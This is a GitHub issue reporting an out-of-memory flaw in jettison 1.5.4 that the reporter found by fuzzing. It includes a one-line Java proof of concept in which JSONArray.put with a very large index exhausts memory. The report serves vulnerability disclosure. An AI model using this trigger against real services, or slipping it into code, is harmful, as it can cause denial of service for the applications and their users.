Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A OOM problem was found in jettison #88

Open
Alex111998 opened this issue Dec 6, 2023 · 0 comments
Open

A OOM problem was found in jettison #88

Alex111998 opened this issue Dec 6, 2023 · 0 comments

Comments

@Alex111998
Copy link

When I test the latest version(1.5.4) of jettison by CIFuzz,a OOM security issue was found, it caused when put a big number in JSONArray, may cause denial of service issues in applications via the follow code:

pom:

<dependency>
        <groupId>org.codehaus.jettison</groupId>
        <artifactId>jettison</artifactId>
        <version>1.5.4</version>
</dependency>

code:

import org.codehaus.jettison.json.JSONException;

public class JSONArray_OOM {

    public static void main(String[] args) throws JSONException {
        new org.codehaus.jettison.json.JSONArray().put(1829517625, 1.0719845412539998E291);
    }
}

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant